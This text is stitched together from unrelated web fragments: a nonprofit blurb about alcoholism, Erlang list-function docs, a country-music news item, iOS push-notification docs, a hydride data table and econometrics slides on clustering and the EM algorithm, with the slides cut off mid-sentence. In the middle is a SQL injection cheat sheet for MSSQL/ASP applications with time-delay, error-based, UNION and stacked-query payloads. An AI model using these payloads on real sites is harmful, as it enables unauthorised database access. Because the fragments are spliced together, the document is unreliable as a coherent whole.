The salamander, dressed to the nines in its satiny green suit, scurried around the forest like a scout looking for a safe hiding place from its predators. [G|D]
With sallow, sorrow-filled eyes and a visibly scornful expression, the weary travelers trudged their way to the seaport, hopeful that in this place they would find better luck.  [G|D]


Welcome to our WebApp!
We employ the use of cookies (Cookie Policy). By accessing our WebApp, you agreed to use cookies in agreement with our Privacy Policy.
Most interactive websites use cookies to let us retrieve the user’s details for each visit. Cookies are used by our website to enable the functionality of certain areas to make it easier for people visiting our website. Some of our affiliate/advertising partners may also use cookies.
Please read Privacy Policy


ContraCulture | Alcohol
Cure addictions one at a time
<EMAIL_ADDRESS><EMAIL_ADDRESS>A world where all cultures teach the younger generation to drink responsibly.
ContraCulture | Alcohol is a nonprofit aiming to decrease alcoholism worldwide by eliminating the pressure to drink alcohol within cultures.
In order to decrease the number of alcoholics in the world, ContraCulture | Alcoholics will encourage healthy drinking habits through counseling and cultural reformation.
ContraCulture is different from nonprofits like NIAAA or NCADD becuase we focus on culture changes by promoting policy changes, ad regulations, and online enforcement.
Note: NIAAA produces information and research on alcholism
Note: NCADD fights alcoholism through a volunteer network


Note: The comment characters --
are placed after the query to remove any commmands following our query, helping to prevent errors.
| Description | Query |
|---|---|
| WAITFOR Function | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
| Default variable | page.asp?id=sql'; SELECT @@SERVERNAME -- |
| Error messages Note: Triggering DB errors through invalid syntax will sometimes return verbose errors messages that include the DBMS name. |
page.asp?id=' |
| Error messages Note: If the id parameter is an integer, the string value of the @@SERVERNAME variable can cause a conversion error. |
page.asp?id=@@SERVERNAME |
| Error messages Note: If the id parameter is an integer, the string value of the @@SERVERNAME variable can cause a conversion error. |
page.asp?id=0/@@SERVERNAME |
ASP/ASPX based applications are generally MSSQL.
Now that the injection has been identified, the rest of this guide will contain full queries. Use the methods below to insert those queries into your injection points. SELECT @@version
will be the example query.
| Description | Query |
|---|---|
| Union | product.asp?id=' UNION SELECT @@version -- |
| Union subquery | product.asp?id=' UNION (SELECT @@version) -- |
| Union null Note: If original query returns more than one column, add null to equal the number of columns |
product.asp?id=' UNION (SELECT @@version,null) -- |
| Stacked query Note: Stacked queries do not always return results, so they are best used for injections that update/modify data. |
product.asp?id='; SELECT @@version -- |


Welcome to Harvard University Extension School!
Harvard Extension School Campus
HES Administrative Office
Evening of Harvard Square
Harvard Extension School Campus
Bus around Harvard Campus
Harvard Extension School Campus


weight_list(T) = [weighted_value(T)]
All members of weightlists must be weighted_value(T)s.
weighted_value(T) = {Value::T, Weight::number()}
Used by functions like weighted_arithmetic_mean/1 and from_weighted/1, weighted_value()s represent a value with an associated importance or "weight".
| between/2 | Places a delimiter inbetween every item in the list. |
| extrema/1 | Stoch Returns the lowest and highest values in a list of one or more member in the form {Lo,Hi} . |
| foldl0/2 | A traditional convenience pre-loader for foldl , for when the initializer is the list's first member. |
| foldr0/2 | A traditional convenience pre-loader for foldr , for when the initializer is the list's first member. |
| histograph/1 | Untested Stoch untested Takes a histograph count of the items in the list. |
| implode/2 | Stoch untested Append strings with separating string inbetween - contrast explode/2 . |
| intersection/2 | Equivalent to intersection(List1, List2, unsorted). |
| intersection/3 | Stoch untested Efficiently computes the intersection of two lists. |
| key_duplicate/1 | Stoch, spec Iterates a list of {Count,Term} , producing a list of [Term,Term,...] . |
| max/1 | Returns the maximum of a non-empty list of values, type-insensitive. |
| min/1 | Returns the minimum of a non-empty list of values, type-insensitive. |
| rotate_list/2 | Tested Rotates the front Distance elements of a list to the back, in order. |
between(List::list(), Delim::any()) -> list()
Places a delimiter inbetween every item in the list.
1> sc_list:between( [1,2,3], 0 ). [1,0,2,0,3] 2> sc_list:between( [], 0 ). []Unit and doc tested.
extrema(List::nonempty_list()) -> {Low::any(), Hi::any()}
Stoch Returns the lowest and highest values in a list of one or more member in the form {Lo,Hi}
. Undefined over the empty list. Mixed-type safe; sorts according to type order rules.
1> sc_list:extrema([1,2,3,4]). {1,4} 2> sc_list:extrema([1,2,3,a,b,c]). {1,c}
3> sc_list:extrema( [] ). ** exception error: no function clause matching sc_list:extrema([])'''
Unit, doc and stochastic (min and max are list members) tested.foldl0(Fun::function(), List::nonempty_list()) -> any()
A traditional convenience pre-loader for foldl
, for when the initializer is the list's first member.
1> sc_list:foldl0( fun(Step, Acc) -> Step + Acc end, [2,4,6,8] ). 20 2> ForceList = fun(X) when is_integer(X) -> integer_to_list(X); 2> (X) -> X end. #Fun<erl_eval.6.106461118> 3> Paren = fun(X,Y) -> "(" ++ ForceList(X) ++ "," ++ ForceList(Y) ++ ")" end. #Fun<erl_eval.12.106461118> 4> Paren(2,3). "(2,3)" 5> Paren(2,"(3,4)"). "(2,(3,4))" 6> sc_list:foldl0( Paren, [1,2,3,4,5] ). "(5,(4,(3,(2,1))))" 7> sc_list:foldr0( Paren, [1,2,3,4,5] ). "(2,(3,(4,(5,1))))"Unit and doc tested.
To do
foldr0(Fun::function(), List::nonempty_list()) -> any()
A traditional convenience pre-loader for foldr
, for when the initializer is the list's first member.
1> sc_list:foldl0( fun(Step, Acc) -> Step + Acc end, [2,4,6,8] ). 20 2> ForceList = fun(X) when is_integer(X) -> integer_to_list(X); 2> (X) -> X end. #Fun<erl_eval.6.106461118> 3> Paren = fun(X,Y) -> "(" ++ ForceList(X) ++ "," ++ ForceList(Y) ++ ")" end. #Fun<erl_eval.12.106461118> 4> Paren(2,3). "(2,3)" 5> Paren(2,"(3,4)"). "(2,(3,4))" 6> sc_list:foldl0( Paren, [1,2,3,4,5] ). "(5,(4,(3,(2,1))))" 7> sc_list:foldr0( Paren, [1,2,3,4,5] ). "(2,(3,(4,(5,1))))"Unit and doc tested.
To do
histograph(List::list()) -> weight_list(_T)
Untested Stoch untested Takes a histograph count of the items in the list. Mixed type lists are safe. Input lists do not need to be sorted. The histograph is shallow - that is, the histograph of [ [1,2], [1,2], [2,2] ]
is [ {[1,2],2}, {[2,2],1} ]
, not [ {1,2}, {2,4} ]
.
1> sc_list:histograph([1,2,a,2,b,1,b,1,b,2,a,2,2,1]). [{1,4},{2,5},{a,2},{b,3}] 2> sc_list:histograph([ sc:rand(10) || X <- lists:seq(1,100000) ]). [{0,10044}, {1,9892}, {2,10009}, {3,10016}, {4,10050}, {5,10113}, {6,9990}, {7,9994}, {8,10004}, {9,9888}] 3> ChessBoard = [ rook, knight, bishop, king, queen, bishop, knight, rook, pawn, pawn, pawn, pawn, pawn, pawn, pawn, pawn, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, empty, pawn, pawn, pawn, pawn, pawn, pawn, pawn, pawn, rook, knight, bishop, king, queen, bishop, knight, rook ]. [rook,knight,bishop,king,queen,bishop,knight,rook,pawn,pawn, pawn,pawn,pawn,pawn,pawn,pawn,empty,empty,empty,empty,empty, empty,empty,empty,empty,empty,empty,empty,empty|...] 4> sc_list:histograph(ChessBoard). [ { bishop, 4 }, { empty, 32 }, { king, 2 }, { knight, 4 }, { pawn, 16 }, { queen, 2 }, { rook, 4 } ]
To do
implode(Separator, Data) -> any()
Stoch untested Append strings with separating string inbetween - contrast explode/2
.
1> sc_list:implode(",", ["a", "b", "c"]). "a,b,c" 2> sc_list:implode(",", ["ab", "cd", "ef"]). "ab,cd,ef" 3> sc_list:implode(",", ["", "", ""]). ",," 4> sc_list:implode("-wop ", ["do", "do", "do"]). "do-wop do-wop do" 5> sc_list:implode("", ["", "", ""]). []thanks for a much better implementation, etnt
Introduced in: Version 621
intersection(List1, List2) -> any()
Equivalent to intersection(List1, List2, unsorted).
intersection(List1::list(), List2::list(), IsSorted::sorted | unsorted) -> list()
Stoch untested Efficiently computes the intersection of two lists. The third parameter, which is optional and defaults to unsorted
, is either the atom sorted
or unsorted
. If sorted
is used, the function will sort both inputs before proceeding, as it requires sorted lists; as such, if you already know your lists to be sorted, passing unsorted
will save some time. The return list will be reverse sorted.
1> sc_list:intersection([1,2,3,4,5,2,3,10,15,25,30,40,45,55],[1,3,5,5,5,15,20,30,35,40,50,55]). [55,40,30,15,5,3,1] 2> sc_list:intersection([1],[2]). []Thanks to Ayrnieu for catching a defect in the initial implementation.
Introduced in: Version 471
key_duplicate(KeyList::[{non_neg_integer(), any()}]) -> [any()]
Stoch, spec Iterates a list of {Count,Term}
, producing a list of [Term,Term,...]
.
1> sc_list:key_duplicate([ {3,bork} ]). [bork,bork,bork] 2> sc_list:key_duplicate([ {3,sunday}, {2,monster}, {2,truck}, {1,'MADNESS'} ]). [sunday,sunday,sunday,monster,monster,truck,truck,'MADNESS']Unit, doc, spec and stochastic (correct length) tested.
max(Name::nonempty_list()) -> any()
Returns the maximum of a non-empty list of values, type-insensitive.
1> sc_list:max( [1, 2, 3] ). 3 2> sc_list:max( [1, 2.0, 3] ). 3 3> sc_list:max( [1, two, 3] ). twoUnit and doc tested.
min(Name::nonempty_list()) -> any()
Returns the minimum of a non-empty list of values, type-insensitive.
1> sc_list:min( [1, 2, 3] ). 1 2> sc_list:min( [1, 2.0, 3] ). 1 3> sc_list:min( [one, 2, three] ). 2Unit and doc tested.
rotate_list(Distance::integer(), ListData::list()) -> list()
Tested Rotates the front Distance
elements of a list to the back, in order. Negative distances rotate the back towards the front. Distances over the length of
the list wrap in modulus.
1> sc_list:rotate_list(2, [1,2,3,4,5,6,7,8]). [3,4,5,6,7,8,1,2] 2> sc_list:rotate_list(-2, [1,2,3,4,5,6,7,8]). [7,8,1,2,3,4,5,6] 3> sc_list:rotate_list(0, [1,2,3,4,5,6,7,8]). [1,2,3,4,5,6,7,8] 4> sc_list:rotate_list(16, [1,2,3,4,5,6,7,8]). [1,2,3,4,5,6,7,8]
Generated by EDoc, Aug 15 2014, 23:09:16.


Imagine:
Pastebin or anonymous file upload sites
OneDrive/Dropbox
File sharing
bit.ly or shortener links
Etc


Maren Morris remembers late producer Busbee in emotional CMA acceptance speech
by Nate DayMaren Morris paid tribute to her late producer, Busbee, in her emotional CMA acceptance speech.
After winning Album of the Year, Morris, 29, thanked her manager, her parents, producer Greg Kurstin and her husband before addressing Busbee.
Songwriter and producer Busbee died in September. Though a cause of death was not reported, according to Variety, he was diagnosed with Glioblastoma, a form of brain cancer, over the summer.
CMAS 2019: PREGNANT MAREN MORRIS HITS THE RED CARPET IN TWO-PIECE GOWN
Busbee, 43, worked closely with Morris on her awarding-winning album "GIRL."
“I would be really remiss if I didn’t mention a huge facet of why this album sounds the way it does, and we miss him so dearly,” Morris said. “He texted me the morning that we got the nomination for album of the year this year, and we were so excited — that’s our friend, Busbee.”
Busbee produced 11 of the songs on "GIRL" and lent his musical talents to the album in the form of percussion, bass guitar and more.
CMA AWARDS 2019 COMPLETE WINNERS LIST
“His wife, Jess, is here tonight and she looks so beautiful,” continued Morris. “Thank you for sharing your husband with us once a month. My heart goes out you and your beautiful daughters. I hope when they listen to this album… I hope they know how amazing their father was. Thank you country music, thank you to the fans, thank you.”
Busbee also worked with Morris on her 2016 album "Hero," co-writing and producing the hits "80s Mercedes" and "My Church," which he was nominated for a Grammy for.
CLICK HERE TO GET THE FOX NEWS APP
In October, Morris and her husband, fellow country singer Ryan Hurd, announced that they are expecting a baby boy.


Sending messages
Now you have the Sample App running on your phone, so it is time to use the AeroGear UnifiedPush Server for delivering a Push Notification message to your device!
Login to the administration console of the UnifiedPush server and click on the "Send Notification" button on the desired PushApplication and write a message in the text field. Once done, hit the 'Send Push Notification':
When the application is inactive, and a Push Notification containing the alert key is received by the device, a Popup will show up, which displays the value of the alert key:
Custom Dialog
To receive the message send by the Unified Push Server console, implement application:didReceiveRemoteNotification: (for foreground notification or application:didReceiveRemoteNotification:fetchCompletionHandler: for background notification.
func application(application: UIApplication, didReceiveRemoteNotification userInfo: [NSObject: AnyObject], fetchCompletionHandler: (UIBackgroundFetchResult) -> Void) {
// When a message is received, send NSNotification, would be handled by registered ViewController
let notification:NSNotification = NSNotification(name:"message_received", object:nil, userInfo:userInfo)
NSNotificationCenter.defaultCenter().postNotification(notification)
print("UPS message received: \(userInfo)")
// No additioanl data to fetch
fetchCompletionHandler(UIBackgroundFetchResult.NoData)
}
In this example, we send a the entire notification object in NSNotificationCenter. Once intersepted the following method will process and sipaly the message contined in the notification:
func messageReceived(notification: NSNotification) {
let obj:AnyObject? = notification.userInfo!["aps"]!["alert"] // [1]
// if alert is a flat string
if let msg = obj as? String { // [2]
messages.append(msg)
} else { // [3]
// if the alert is a dictionary we need to extract the value of the body key
let msg = obj!["body"] as! String
messages.append(msg)
}
tableView.reloadData()
}
The object received as NSDictionary which represents a JSON map, of the received payload. The aps field of that map contains all the received attributes, like the earlier mentioned alert key/value pair [1].
If the Unified Push Server is 1.0.X the alert is aa string as in [2], if Unified Push Server is 1.1.x, the alort is an objet as shown in [3].
The code simply reads the value of the alert key and displays in a UITableView as shown below:
Custom Keys
Besides reading the standard keys, like alert the UnifiedPush Server supports custom keys, which could have an application specific meaning. Admin console currently doesn’t support the use of custom keys, but you can easily use cURL instead (check the REST API documentation for more information on how to construct the cURL request).
| If you are using the Java Sender to send push notifications on the server side, simply call ".attribute("some_key", "with_value")" when building the message payload. Check the documentation here for more details. |
Reading the value of your own keys is as simple as in the above snippet about the custom dialog:
let customValue = userInfo.valueForKeyPath("customKey")
Now the evaluated value can be used inside of the iOS application.
iOS 7
In iOS 7 there is a new callback which, in addition to the normal foreground processing, allows the application to process messages while it is running in the background.
Note: If your application has no need for background processing, using the above method is recommended.
func application(application: UIApplication, didReceiveRemoteNotification userInfo: [NSObject: AnyObject], fetchCompletionHandler: (UIBackgroundFetchResult) -> Void) {
// 'userInfo' contains information related to the remote notification.
// should always be called at the end of processing so
// the system can take a UI snapshot of the application.
fetchCompletionHandler(UIBackgroundFetchResult.NoData)
}
Using this method, the iOS platform processes the notification and launches the application in the background. This helps to shrink the time between seeing a push notification and displaying the actual data in the iOS application, as the download of the data for the push notification (if really needed) starts in the background as well.
Enabling Background Notifications
In order to get background processing for push notifications to work you have to open your Applications' Info.plist file:
and include the following XML:
<key>UIBackgroundModes</key>
<array>
<string>remote-notification</string>
</array>
Sending Notifications for Background Processing
To ensure that your message is really received by our application when it is in background mode, you need to include the content-available flag into your message payload. Admin console currently doesn’t support setting this flag, but you can easily use cURL instead (check the REST API documentation for more information on how to construct the cURL request).
| If you are using the Java Sender to send push notifications on the server side, simply call ".contentAvailable()" when building the message payload. Check the documentation here for more details. |
iOS 8
iOS 8 provides support for interactive notifications. To utilise it, follow these steps:
-
add extra payload "action-category" in server side notification
-
add category in your client app with the same name as the one in payload
-
add action button logic
If you want a complete example that demo’s interactive notification refer to AeroDoc.
Sending interactive notifications : extra payload
All you need to do is include "action-category":"YOUR_ACTION_NAME" into your message payload. Admin console currently doesn’t support setting this in the payload, but you can easily use cURL instead (check the REST API documentation for more information on how to construct the cURL request).
| If you are using the Java Sender to send push notifications on the server side, simply call ".actionCategory()" when building the message payload. Check the documentation here for more details. |
Note: APNs interactive notification adds category to its payload to associate a group of actions to a category of notification. As UPS already uses the name 'categories' in its payload but for a different purpose, the name 'action-category' was chosen instead.
Receiving interactive notifications : add category
When registering for remote notification, provide a category. To define a category, add all associated actions. Here we demo only action but you can define a list.
Depending on your notification setup, the list of visible actions can be limited. Using UIUserNotificationActionContextMinimal you can define which actions should be displayed in priority when space is limited.
- (UIMutableUserNotificationCategory*)registerActions {
UIMutableUserNotificationAction* action = [[UIMutableUserNotificationAction alloc] init];
action.identifier = @"YOUR_ACTION_NAME";
action.title = @"YOUR_ACTION_NAME";
action.activationMode = UIUserNotificationActivationModeForeground;
action.destructive = false;
action.authenticationRequired = false;
UIMutableUserNotificationCategory* category = [[UIMutableUserNotificationCategory alloc] init];
category.identifier = @"YOUR_CATEGORY_NAME";
[category setActions:@[action] forContext: UIUserNotificationActionContextDefault];
return category;
}
Once all actions are defined and wrapped into a category, add category to UIUserNotificationSettings as shown below:
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// when running under iOS 8 we will use the new API for APNS registration
#if __IPHONE_OS_VERSION_MAX_ALLOWED >= 80000
if ([application respondsToSelector:@selector(registerUserNotificationSettings:)]) {
UIUserNotificationCategory* category = [self registerActions];
NSMutableSet* categories = [NSMutableSet set];
[categories addObject:category];
UIUserNotificationSettings* notificationSettings = [UIUserNotificationSettings settingsForTypes:UIUserNotificationTypeAlert | UIUserNotificationTypeBadge | UIUserNotificationTypeSound categories:categories];
[[UIApplication sharedApplication] registerUserNotificationSettings:notificationSettings];
[[UIApplication sharedApplication] registerForRemoteNotifications];
} else {
[[UIApplication sharedApplication] registerForRemoteNotificationTypes: (UIRemoteNotificationTypeBadge | UIRemoteNotificationTypeSound | UIRemoteNotificationTypeAlert)];
}
#else
[[UIApplication sharedApplication] registerForRemoteNotificationTypes: (UIRemoteNotificationTypeBadge | UIRemoteNotificationTypeSound | UIRemoteNotificationTypeAlert)];
#endif
Dealing with interactive notifications : add action
When an action has been selected in the interactive push notification, the callback application:handleActionWithIdentifier:forRemoteNotification:completionHandler: is called. To implement your action you need to check on which action was chosen:
#if __IPHONE_OS_VERSION_MAX_ALLOWED >= 80000
- (void)application:(UIApplication *)application handleActionWithIdentifier:(NSString *)identifier forRemoteNotification:(NSDictionary *)userInfo completionHandler:(void(^)())completionHandler {
if([identifier isEqualToString: @"YOUR_ACTION_NAME"]) {
...
...
}
completionHandler();
}
#endif


select a model
Joyalukkas jewellery:latest models and best offers for AKSHAYA TRITIYA :
Mar 3, 2017 - Joyalukkas: Explore Joyalukkas brands like Masaaki, Eleganza, Pride and Veda apart from general Gold and
Diamond Jewellery Enquiry:: ...
Gold · Jewellery Collections | Brands · Platinum · Collections


| LaAlH
6
|
3.51 |
0.98 |
Beginning 100, ending 240 |
a = 6.4732
c = 6.2765
|
a = 6.5272(4)
c = 6.3212(7)
H: 0.2149, 0.7851, 0.4904
|
| CeAlH
6
|
3.49 |
0.80 |
First step: Beginning 100, ending 170
Second step: Beginning 180, ending 270
|
a = 6.4711
c = 6.2527
|
a = 6.4637(4)
c = 6.2609(7)
H: 0.2147, 0.7853, 0.4910
|
| PrAlH
6
|
3.47 |
0.78 |
a = 6.4217
c = 6.2028
|
a = 6.4106(7)
c = 6.2118(11)
H: 0.2139, 0.7861, 0.4894
|
| NdAlH
6
|
3.41 |
0.78 |
a = 6.3796
c = 6.1616
|
a = 6.3846(7)
c = 6.1741(10)
H: 0.2132, 0.7868, 0.4883
|
* (including NaCl load) ** M = La, Ce, Pd, Nd on 0, 0, 1/2, and Al on 0, 0, 0.


The about page uses a simple ES6 class and a directive with ControllerAs syntax to try and model a simple Angular 2 component setup.


class: center, middle, inverse, title-slide # Lectures 22-23 ## Unsupervised Learning ### Tyler Ransom ### ECON 5253, University of Oklahoma --- # Plan for today and next time - What is unsupervised learning? - How is it different from supervised learning? - Go through examples of unsupervised learning algorithms: - Clustering - Dimensionality Reduction - Also discuss reinforcement learning (which is somewhere between supervised and unsupervised learning) --- # Unsupervised learning - Through the course so far, we have restricted our attention to statistical models where there is an outcome variable `\(Y\)` and explanatory variables `\(X\)` - Such a setting is known as "supervised learning" because the outcome is "supervising" or "teaching" the out-of-sample `\(X\)`'s - In .hi[unsupervised learning] we do not observe `\(Y\)` for any of our training examples - We simply have a data set that contains the features -- the `\(X\)` matrix - How can we learn anything in this case? What can we infer from patterns in the `\(X\)`'s? - These are the fundamental questions of unsupervised learning --- # The main algorithms of unsupervised learning There are a number of approaches that fall under the umbrella of unsupervised learning They all, broadly speaking, fall under each of these three main approaches: 1. Clustering - k-means clustering - Expectation-Maximization (EM) algorithm 2. Dimensionality reduction - Principal Components Analysis (PCA) - Isomap 3. Reinforcement learning --- # Clustering - Clustering refers to the idea of finding patterns in the data - The "Hello World" example of this is t-shirt size - Our goal is to, given measurements of people's height and weight in our data (or shoulder and chest measurments), classify what their t-shirt size should be --- # k-means clustering - The goal of k-means clustering is to divide the data into groups that share similar characteristics - Here, "similar" is defined as "belonging to a group with the same centroild (i.e. mean)" - How do we quantify that? Well, like k-nearest neighbors, we need to come up with a number `k` beforehand that will tell us the number of clusters - Our objective function is to minimize the total distance from every point in each of the k clusters to the centroid of that cluster - Like most algorithms, we need to iteratively guess different values of the centroid to figure out the best arrangement of clusters --- # k-means clustering steps - .hi[Step 1:] Pick `\(k\)` random points to be cluster centroids - .hi[Step 2:] Measure the distance from every point to each of the `\(k\)` centroids. Then we label as "1" each point that is closest to centroid 1, as "2" each point closest to centroid 2, etc - .hi[Step 3:] Compute the average `\(X\)` value for each of the points labeled "1", "2", ... "K". Those are the new centroids - .hi[Step 4:] Repeat steps 2 and 3 until the centroids don't move much between iterations --- # Things to keep in mind when doing k-means - The user should be aware of the following issues when doing k-means clustering: - The algorithm will only provide a *local optimum* so it behooves the user to try different sets of initial cluster guesses - The algorithm depends on the `\(X\)`'s provided by the user. It's best to keep the dimensionality of `\(X\)` as low as possible, for the same reason that kNN doesn't work well in high dimensions - What is the optimal number of clusters? Could be determined by some external factor (e.g. we can only make five different sizes of shirts), but is there a statistical way to choose `k`? - If you don't like the Euclidean distance norm, you can do .hi[k-medians clustering] which iteratively uses the median and the 1-norm distance metric, rather than the mean and the 2-norm distance metric (This difference is exactly the same difference as L1 vs. L2 regularization) --- # Choosing optimal value of `k` - How do we know what the optimal value of `k` is in this algorithm? - It turns out we can do something akin to cross-validation (though it's not quite the same, since cross-validation only applies in supervised learning) - It turns out that the optimal number of clusters is the number that minimizes the within-cluster sum of squared Euclidean distances (WCSS) [We can think of "distance" as "error" in this case] - Now, this is always decreasing, but the graph of WCSS vs. K typically has an "elbow" which indicates the `k` that is optimal --- # k-means clustering in R How to do k-means clustering in R? You can [use the `tidymodels` package](https://www.tidymodels.org/learn/statistics/k-means/), but you can also just do it in base R (function: `kmeans(X,k)`) For example, let's see if we can use the `iris` dataset to classify the flowers looking only at the petal and sepal information (code taken from [here](http://rischanlab.github.io/Kmeans.html)): .scroll-box-8[ ```r X <- iris[,-5] Y <- iris[, 5] clusters <- kmeans(X,3) clusters # K-means clustering with 3 clusters of sizes 38, 50, 62 # # Cluster means: # Sepal.Length Sepal.Width Petal.Length Petal.Width # 1 6.850000 3.073684 5.742105 2.071053 # 2 5.006000 3.428000 1.462000 0.246000 # 3 5.901613 2.748387 4.393548 1.433871 # # Clustering vector: # [1] 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 # [38] 2 2 2 2 2 2 2 2 2 2 2 2 2 3 3 1 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 # [75] 3 3 3 1 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 1 3 1 1 1 1 3 1 1 1 1 # [112] 1 1 3 3 1 1 1 1 3 1 3 1 3 1 1 3 3 1 1 1 1 1 3 1 1 1 1 3 1 1 1 3 1 1 1 3 1 # [149] 1 3 # # Within cluster sum of squares by cluster: # [1] 23.87947 15.15100 39.82097 # (between_SS / total_SS = 88.4 %) table(Y,clusters$cluster) # # Y 1 2 3 # setosa 0 50 0 # versicolor 2 0 48 # virginica 36 0 14 ``` ] If we chose `k=2` we would get a WCSS (`between / total`) of 77.6% instead of 88.4%. If we chose `k=4` we would get a measure of 89.5%. So the "elbow" is at `k=3` --- # Other examples of k-means clustering - A great primer on k-means clustering by Andrew Ng is available [here](https://docs.opencv.org/3.2.0/de/d4d/tutorial_py_kmeans_understanding.html) - For an application to the fashion world, see [here](http://blog.fitrrati.com/science-behind-sizes-in-fashion-clustering-size-related-brand-data/) - There are great visualizations of the process at both links --- # The EM algorithm - The Expectation Maximization (EM) algorithm is a generalization of k-means - It extends the concept of "best" and "similar" to other useful contexts - The most common use of the EM algorithm is in missing data situations - The simplest form is a naive Bayes classification setting where the class labels are unobserved --- # Quick review of naive Bayes In the naive Bayes model, we *naively* assume that the joint probability `\begin{align*} \Pr(Y=y, X_1=x_1, X_2=x_2, \ldots, X_k=x_k) \end{align*}` is equal to the product of the marginal probabilities `\begin{align*} \Pr(Y=y) \times \Pr(X_1=x_1 | Y=y) \times \Pr(X_2=x_2 | Y=y) \times ... \times \Pr(X_k=x_k | Y=y) \end{align*}` Our objective is to compute the posterior (or "updated") probability of a given case being labeled as y, after seeing more data (the `\(X\)`'s) --- # Prior probability Our prior probability is simply the probabity of seeing in the data our target variable `\(Y\)` take on the value `\(y\)` - `\(\Pr(Y=0) =\)` `mean(Y==0)` - `\(\Pr(Y=1) =\)` `mean(Y==1)` --- # Marginal probabilities The marginal probabilities are naively assumed to be independent of each other: - `\(\Pr(X_k=m | Y=0) =\)` `mean(X[Y==0,k]==m)` if `\(X_k\)` is discrete - `\(\Pr(X_k=m | Y=0) =\)` `dnorm(m,mean=mu.k,sd=sd.k)` if `\(X_k\)` is continuous, where `mu.k = mean(X[Y==0,k])` and `sd.k = sd(X[Y==0,k])` --- # Posterior probability The posterior probability is then as written above: `\begin{align*} \Pr(Y=y | X=m) & = \Pr(Y=y) \times \Pr(X_1=x_1 | Y=y) \times \\ & \phantom{==}\Pr(X_2=x_2 | Y=y) \times ... \times \Pr(X_k=x_k | Y=y) \end{align*}` recall that, for discrete `\(X\)`'s, the information required to calculate the posterior probability can be looked up from a two-way contingency table between `\(Y\)` and each `\(X_k\)` --- # Back to the EM So, the question the EM algorithm seeks to answer is: can we compute posterior probabilities of the naive Bayes classifier even if we don't observe the `\(Y\)` variable? In this way, the EM algorithm, in its simplest case, can be thought of as an unsupervised version of naive Bayes It turns out that we can indeed obtain the posterior probabilities, if we follow an iterative two-step algorithm --- # EM steps in detail 1. Start with a guess of the unobserved class probability for each training example, e.g. `\(\Pr(Y=y | X)\)` 2. Using the information in the previous step, update your guess of the prior probabilities `\(\Pr(Y=y)\)` and marginals `\(\Pr(X=x | Y=y)\)` 3. Given the updated information, compute the posterior probabilities of belonging to each (unobserved) class, using Bayes Rule 4. Repeat steps 2-3 until convergence in the posterior probabilities across iterations --- # EM steps in detail .hi[Step 1:] Simply initialize `\(\Pr(Y=y)\)` for each `\(y\)` and each training example. Probabilities must be non-negative and sum to 1. Denote these probabilities `\(q_{ic}\)` .hi[Step 2:] Update prior and marginals *Prior probability* Instead of `mean(Y==0)` we compute `\(\Pr(Y=0)\)` as the average of the `\(q_{ic}\)` values - e.g. `mean(q0)` --- # EM steps in detail (continued) *Marginal probabilities* For the marginals, we can't subset on values of Y (since we don't observe them), so we instead compute *probabilistic* values like so: `\(\Pr(X_k=m | Y=0)\)` = `wtd.mean(X[ ,k]==m,q0)` if `\(X_k\)` is discrete `\(\Pr(X_k=m | Y=0)\)` = `dnorm(m,mean=mu.k,sd=sd.k)` if `\(X_k\)` is continuous, where `mu.k = wtd.mean(X[ ,k],q0)` and `sd.k = wtd.sd(X[ ,k],q0)` .hi[Step 3:] Update posterior probabilities `\(q_{ic}\)`. Once we have the prior and the marginals computed, we apply the Bayes Rule formula to get the updated values of `\(q_{ic}\)` .hi[Step 4:] Repeat Step 2 and Step 3 until convergence in the `\(q_{ic}\)`'s --- # More general applications of the EM algorithm - Naive Bayes is the simplest form of the EM algorithm, but the true power behind it is that it can be used for any likelihood-based model - In my research, I use the EM alogrithm to detect unobserved types of individuals, using information on choices they've made, wages they earn, and other measures (like test scores) - I cover this a lot more in my PhD econometrics class --- # Simple EM algorithm example in R Let's repeat our example that we did with the k-means clustering but this time with the EM algorithm. The package `mclust` does all of the work for us, but it will only work for `\(X\)` matrices that are continuous .scroll-box-8[ ```r library(mclust) X <- iris[,-5] Y <- iris[, 5] clusters <- Mclust(X,G=3) clusters$parameters$pro # list posterior probabilities of \Pr(Y=y) # [1] 0.3333333 0.3005423 0.3661243 table(Y) # list frequencies of each species in iris data # Y # setosa versicolor virginica # 50 50 50 clusters$parameters$mean # list average of X's conditional on being in class y # [,1] [,2] [,3] # Sepal.Length 5.006 5.915044 6.546807 # Sepal.Width 3.428 2.777451 2.949613 # Petal.Length 1.462 4.204002 5.482252 # Petal.Width 0.246 1.298935 1.985523 head(clusters$z) # list posterior class probabilities for each observation in our training data # [,1] [,2] [,3] # [1,] 1 4.916819e-40 3.345948e-29 # [2,] 1 5.846760e-29 1.599452e-23 # [3,] 1 2.486168e-33 2.724243e-25 # [4,] 1 2.050996e-28 2.180764e-22 # [5,] 1 8.283066e-42 8.710458e-30 # [6,] 1 2.118466e-41 1.791499e-29 table(Y,clusters$classification) # compare EM classes with actual classes # # Y 1 2 3 # setosa 50 0 0 # versicolor 0 45 5 # virginica 0 0 50 ``` ] It does a better job of finding the species than does k-means! --- # Dimensionality reduction Aside from clustering, another branch of unsupervised learning is .hi[dimensionality reduction] which simply means that there may be a way to simplify our data while preserving almost all of the variation among our variables --- # Principal-component analysis (PCA) > "PCA is to unsupervised learning what linear regression is to the supervised variety." -- Pedro Domingos, *The Master Algorithm* p. 214 As alluded in the quote above, PCA is the workhorse algorithm of dimensionality reduction, and probably the most popular unsupervised learning algorithm out there --- # Intuition - The idea behind PCA is that we can preserve the "picture" of our data by removing multiple columns and adjusting the remaining columns accordingly - To visualize this, see [here](http://setosa.io/ev/principal-component-analysis/) - Intuitively, if `\(X\)` and `\(Y\)` are highly correlated, then we don't have to worry about analyzing both of them; we can look at either `\(X\)` or `\(Y\)` alone --- # Math - The math behind PCA is based on .hi[eigen values] of a linear transformation of our data - Eigen values are basically numbers -- unique to our data -- that tell us which variables can be dropped, and in which ways the rest of our variables need to be transformed to preserve the variation in the data - Why do we care about the matrix `\(X^{'}X\)`? Because it's what holds the variation in our data. (And because eigen values require a square matrix.) - Why do we need eigen values? Because they tell us how to transform our data to 